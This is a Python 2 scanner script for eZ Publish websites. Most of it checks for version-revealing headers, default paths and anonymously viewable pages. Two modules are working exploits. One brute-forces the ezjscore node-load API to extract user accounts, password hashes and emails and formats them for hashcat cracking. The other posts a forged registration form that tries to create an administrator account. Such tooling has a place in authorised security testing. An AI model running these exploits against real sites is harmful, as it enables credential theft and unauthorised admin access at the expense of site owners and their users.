ezscanner.py

#!/usr/bin/python

import argparse
import logging
import requests
import sys
import time
import re
import copy
from collections import OrderedDict

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Logger format
#logging.basicConfig(format = '\r%(asctime)s %(levelname)-9s %(message)s', datefmt="%H:%M")
logger = logging.getLogger('main')
logger.setLevel(logging.DEBUG)

class ColoredFormatter(logging.Formatter):
    def format(self, record):
        tmprecord = copy.copy(record)
        if tmprecord.levelno == logging.WARNING:
            tmprecord.levelname = '\033[93m%s\033[0m' % tmprecord.levelname
        elif tmprecord.levelno == logging.ERROR:
            tmprecord.levelname = '\033[91m%s\033[0m' % tmprecord.levelname
        elif tmprecord.levelno == logging.CRITICAL:
            tmprecord.levelname = '\033[95m%s\033[0m' % tmprecord.levelname
        return logging.Formatter.format(self, tmprecord)

coloredHandler = logging.StreamHandler(sys.stdout)
coloredHandler.setFormatter(ColoredFormatter('\r%(asctime)s %(levelname)-9s %(message)s', datefmt="%H:%M"))
coloredHandler.setLevel(logging.INFO)
logger.addHandler(coloredHandler)

# Defaults
R_HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0'}
R_PROXIES = {}
R_COOKIES = {}
R_TIMEOUT = 5
R_BRUTEFORCE_VIEWS = 200
R_BRUTEFORCE_EZJSCORE_RANGE = 300
R_BRUTEFORCE_EZJSCORE_FORCE = False
R_EXPLOIT_REGISTER = ''

# Argparse function
def url(s):
    try:
        if not '://' in s:
            raise Exception('no scheme in URL')

        scheme, url = s.split('://')
        if scheme.lower() not in ['http', 'https']:
            raise Exception('only http/https supported')

        while s[-1]=='/':
            s = s[:-1]

        return s

    except Exception, e:
        raise argparse.ArgumentTypeError('Cannot parse url: {0}'.format(e))

# Modules
def check_ez(url):
    try:
        valid = True
        r = requests.get(url, headers=R_HEADERS, timeout=R_TIMEOUT, cookies=R_COOKIES, proxies=R_PROXIES, verify=False, allow_redirects=True)

        logger.debug('Trying "%s"' % (url))

        if r.headers.get('X-Powered-By') and 'eZ Publish' in r.headers.get('X-Powered-By'):
            logger.warning('Your website\'s responses includes a header \'X-Powered-By: %s\'. You should consider suppressing this header.' % (r.headers.get('X-Powered-By')))
            valid = False

        if 'meta name="generator" content="eZ Publish"' in r.text:
            logger.warning('Your website\'s responses states that it was generated by eZ Publish. You should consider suppressing this meta tag (name=\'generator\').')
            valid = False

        if any(elt in r.text for elt in ['eZ Publish', 'eZ Systems', 'ezflow', 'ezxml', 'ezinfo', 'ezteam', 'ezevent', 'ezdate', 'ezwebin']):
            logger.warning('Your website\'s responses includes eZ Publish keywords.')
            valid = False

        if valid:
            logger.info('Your website\'s response doesn\'t seem to include any references to eZ Publish.')

    except (requests.ConnectionError, requests.exceptions.ReadTimeout), e:
        logger.error('Connection error on "%s" : %s' % (url, e.message))

def check_defaults(url):
    try:
        default_paths = ['/content/browse', '/content/new', '/content/search', '/content/advancedsearch', '/content/view/full/2',
                         '/ezinfo/about', '/ezinfo/copyright', '/solr', '/settings/site.ini',]
        found_paths = []
        for path in default_paths:
            full_url = '%s%s' % (url, path)
            r = requests.get(full_url, headers=R_HEADERS, timeout=R_TIMEOUT, cookies=R_COOKIES, proxies=R_PROXIES, verify=False, allow_redirects=False)
            logger.debug('Trying "%s"' % (full_url))

            if r.status_code == 200:
                found_paths.append(path)

        if len(found_paths) == 0:
            logger.info('Your website doesn\'t include any default eZPublish paths.')
        else:
            logger.warning('Default eZPublish path(s) found: %s\nPlease make sure it is configured as intended for your site.' % ' '.join(found_paths))

    except (requests.ConnectionError, requests.exceptions.ReadTimeout), e:
        logger.error('Connection error on "%s" : %s' % (url, e.message))

def check_paths(url):
    try:
        default_paths = ['/user/activate', '/user/forgotpassword', '/user/register', '/user/success', '/user/login', '/api/ezp/v2', '/api/ezp/v1']
        found_paths = []

        for path in default_paths:
            full_url = '%s%s' % (url, path)
            r = requests.get(full_url, headers=R_HEADERS, timeout=R_TIMEOUT, cookies=R_COOKIES, proxies=R_PROXIES, verify=False, allow_redirects=False)
            logger.debug('Trying "%s", got %d' % (full_url, r.status_code))

            if r.status_code == 200 or r.status_code == 401:
                found_paths.append(path)

        if len(found_paths) == 0:
            logger.info('Your website doesn\'t include any paths related to anonymous user registration.')
        else:
            logger.warning('User-related path(s) found: %s\nPlease make sure it is configured as intended for your site.' % ' '.join(found_paths))
            if '/user/register' in found_paths:
                logger.warning('Register page found (/user/register). You might want to try to register as an admin with the \'--exploit-register\' option.\nExample: python ezscanner.py -t %s --no-basics --exploit-register \'user:pass:email@mail.com\'' % url)

    except (requests.ConnectionError, requests.exceptions.ReadTimeout), e:
        logger.error('Connection error on "%s" : %s' % (url, e.message))

def bruteforce_views(url):

    valid = True
    for i in range(R_BRUTEFORCE_VIEWS):
        try:
            full_url = '%s/content/view/full/%d' % (url, i)
            r = requests.get(full_url, headers=R_HEADERS, timeout=R_TIMEOUT, cookies=R_COOKIES, proxies=R_PROXIES, verify=False, allow_redirects=False)
            logger.debug('Trying "%s", getting : %s' % (full_url, r.text))

            if r.status_code == 200:
                res = r.text
                res_title = res[res.find('<title>') + 7 : res.find('</title>')].strip().replace('\n', '')
                logger.warning('Your website allows anonymous viewing on: \'%s%d\' (%s). Please make sure it is configured as intended for your site.' % ('/content/view/full/', i, res_title))
                valid = False

        except (requests.ConnectionError, requests.exceptions.ReadTimeout), e:
            logger.error('Connection error on "%s" : %s' % (url, e.message))
    if valid:
        logger.info('Your website doesn\'t include any default eZ Publish views.')

def bruteforce_ezjscore(url):
    bruteforce_range = R_BRUTEFORCE_EZJSCORE_RANGE
    bruteforce_force = R_BRUTEFORCE_EZJSCORE_FORCE

    last_valid = -1
    hashcat_output = ''
    def print_hashcat_output():
        if len(hashcat_output) > 0:
            logger.info('You can now run `hashcat -m 20 --hex-salt` (since the hashtype is md5($salt.$pass)) on this list:\n%s' % hashcat_output)

    logger.info('Trying to retrieve sensitive data from: %s/ezjscore/call/ezjscnode::load::\033[95mID\033[0m::all?ContentType=xml' % url)
    i = 0
    while i < bruteforce_range:
        try:
            full_url = '%s/ezjscore/call/ezjscnode::load::%d::all?ContentType=xml' % (url, i)
            r = requests.get(full_url, headers=R_HEADERS, timeout=R_TIMEOUT, cookies=R_COOKIES, proxies=R_PROXIES, verify=False, allow_redirects=False)
            logger.debug('Trying "%s", getting: %s' % (full_url, r.text))

            if r.status_code == 200 and not re.search(r'<error_text>.+</error_text>', r.text, re.IGNORECASE | re.MULTILINE | re.DOTALL):
                logger.debug('Data found on: \'%s\'.' % (full_url))
                last_valid = i

                accounts = re.findall(r"<user_account>.*<content>(.*?)</content>.*</user_account>", r.text, re.IGNORECASE | re.MULTILINE | re.DOTALL)
                for account in accounts:
                    logger.critical('Account: \'%s\' (ID:%d)' % (account, i))
                    try:
                        account_parts = account.split('|')
                        hashcat_output += '%s:%s0a\n' % (account_parts[2], account_parts[0].encode('hex'))
                    except:
                      pass

                emails = set(re.findall(r'[\w\.-]+@[\w\.-]+', r.text, re.MULTILINE))
                for email in emails:
                    logger.critical('Email: \'%s\' (ID:%d)' % (email, i))

                if (bruteforce_range - last_valid < 300):
                    logger.debug('Updating bruteforce range from %d to %d since new elements have been found.' % (bruteforce_range, bruteforce_range + 100))
                    bruteforce_range += 300

            elif not bruteforce_force and i == 15 and last_valid == -1:
                break

        except (requests.ConnectionError, requests.exceptions.ReadTimeout), e:
            logger.error('Connection error on "%s" : %s' % (url, e.message))
        except KeyboardInterrupt:
            print_hashcat_output()
            raise

        i += 1


    if last_valid == -1:
        if i == 15:
            logger.info('15 tries failed, your website doesn\'t seem vulnerable to the ezjscnode exploit. You might want to launch it again with -ezj-force.')
        else:
            logger.info('Your website isn\'t vulnerable to the ezjscnode exploit.')
    else:
        logger.info('Bruteforce finished, checked %d URLs.' % (bruteforce_range))

    print_hashcat_output()

def exploit_register(url):
    credentials = R_EXPLOIT_REGISTER.split(':')
    if len(credentials) != 3:
            logger.error('Wrong format for credentials. Expected \'user:pass:mail\', got \'%s\'' % (R_EXPLOIT_REGISTER))
            return

    payload = {'ContentObjectAttribute_data_user_login_30': credentials[0],
     'ContentObjectAttribute_data_user_password_30': credentials[1],
     'ContentObjectAttribute_data_user_password_confirm_30': credentials[1],
     'ContentObjectAttribute_data_user_email_30' : credentials[2],
     'UserID': '14',
     'PublishButton': '1'}

    headers = R_HEADERS
    headers['Referer'] = url

    try:
        full_url = '%s/user/register' % (url)
        r = requests.post(full_url, data=payload, headers=R_HEADERS, timeout=R_TIMEOUT, cookies=R_COOKIES, proxies=R_PROXIES, verify=False, allow_redirects=True)
        logger.debug('Trying "%s", getting : %s' % (full_url, r.text))

        if 'success' in r.text:
            logger.warning('Exploit sent successfully.\nActivate your account and try to login with %s:%s' % (credentials[0], credentials[1]))
        else:
            logger.info('Your website doesn\'t seem vulnerable to the register exploit.')

    except (requests.ConnectionError, requests.exceptions.ReadTimeout), e:
        logger.error('Connection error on "%s" : %s' % (url, e.message))

LIST_MODULES = OrderedDict([('eZ keywords', check_ez), ('eZ default URLs & sensitive information', check_defaults), ('eZ path disclosure', check_paths), ('eZjscore bruteforcer', bruteforce_ezjscore)])

class Scanner():
    def __init__(self, url, modulelist):
        self.url = url
        self.modulelist = modulelist
        self.cur = 0

    def kill(self):
        self.alive = False

    def log(self, m, l):
        logger.log(l, m)

    def run(self):
        for key in self.modulelist:
            logger.info('Launching module \'%s\':' % (key))
            self.modulelist[key](self.url)

if __name__ == '__main__':

    ap = argparse.ArgumentParser()

    ap.add_argument('-t', '--target', dest='target', help='Target **host**, including scheme (HTTP, HTTPS)', required='True', type=url)
    ap.add_argument('-v', '--verbose', dest='verb', action='store_true', default=False, help='Increase verbosity')
    ap.add_argument('-l', '--log', dest='log', action='store_true', default=False, help='Saves logs to [url].log')
    ap.add_argument('--proxy', dest='proxy')

    ap.add_argument('-nob', '--no-basics', dest='no_basics', action='store_true', help='Don\'t launch any basic tests (keywords, default urls, default paths, ezjscore bruteforcing)', default=False)
    ap.add_argument('-reg', '--exploit-register', dest='exploit_register', help='Try to register as admin (format : \'user:pass:mail\')')
    ap.add_argument('-views', '--bf-views', dest='bruteforce_views', help='Bruteforce publicly accessible views: range', type=int)
    ap.add_argument('-ezj-range', '--bf-ezjscore-range', dest='bruteforce_ezjscore_range', help='Bruteforce ezjscore API: range', type=int)
    ap.add_argument('-ezj-force', '--bf-ezjscore-force', dest='bruteforce_ezjscore_force', action='store_true', help='Bruteforce ezjscore API: force', default=False)

    ap.add_argument('--cookies', dest='cookies', help='Example: cookie1=v1&cookie2=v2')
    ap.add_argument('--timeout', dest='timeout', help='Set request timeout', type=float)

    args = ap.parse_args()

    if args.verb:
        logger.setLevel(logging.DEBUG)

    if args.log:
        logpath =  "".join([x if x.isalnum() else "_" for x in args.target])
        fh = logging.FileHandler(logpath + '.log')
        fh.setLevel(logging.DEBUG)
        formatter = logging.Formatter('%(asctime)s %(levelname)-9s %(message)s')
        fh.setFormatter(formatter)
        logger.addHandler(fh)

    url = args.target

    logger.info('Using URL %s' % url)

    if args.proxy:
        R_PROXIES = {'http': args.proxy, 'https':args.proxy, 'ftp':args.proxy}

    if args.cookies:
        cookies = args.cookies.split('&')
        R_COOKIES = {k:v for k,v in [e.split('=') for e in cookies]}

    if args.timeout:
        R_TIMEOUT = args.timeout

    if args.no_basics:
        LIST_MODULES = OrderedDict()

    if args.bruteforce_ezjscore_range:
        LIST_MODULES['eZjscore bruteforcer'] = bruteforce_ezjscore
        if args.bruteforce_ezjscore_range > 0:
            logger.info('Setting ezjscore bruteforcing range to: %d' % args.bruteforce_ezjscore_range)
            R_BRUTEFORCE_EZJSCORE_RANGE = args.bruteforce_ezjscore_range

    if args.bruteforce_ezjscore_force:
        LIST_MODULES['eZjscore bruteforcer'] = bruteforce_ezjscore
        if args.bruteforce_ezjscore_force:
            logger.info('Forcing ezjscore bruteforcing')
            R_BRUTEFORCE_EZJSCORE_FORCE = args.bruteforce_ezjscore_force

    if args.bruteforce_views:
        LIST_MODULES['eZ views bruteforcer'] = bruteforce_views
        if args.bruteforce_views > 0:
            logger.info('Setting views bruteforcing range to: %d' % args.bruteforce_views)
            R_BRUTEFORCE_VIEWS = args.bruteforce_views

    if args.exploit_register:
        LIST_MODULES['eZ exploit register'] = exploit_register
        logger.info('Setting ezjscore register exploit with: %s' % args.exploit_register)
        R_EXPLOIT_REGISTER = args.exploit_register

    try:
        b = Scanner(url, LIST_MODULES)
        b.run()

    except KeyboardInterrupt:
        print ''
        logger.info('Exiting on ctrl-c')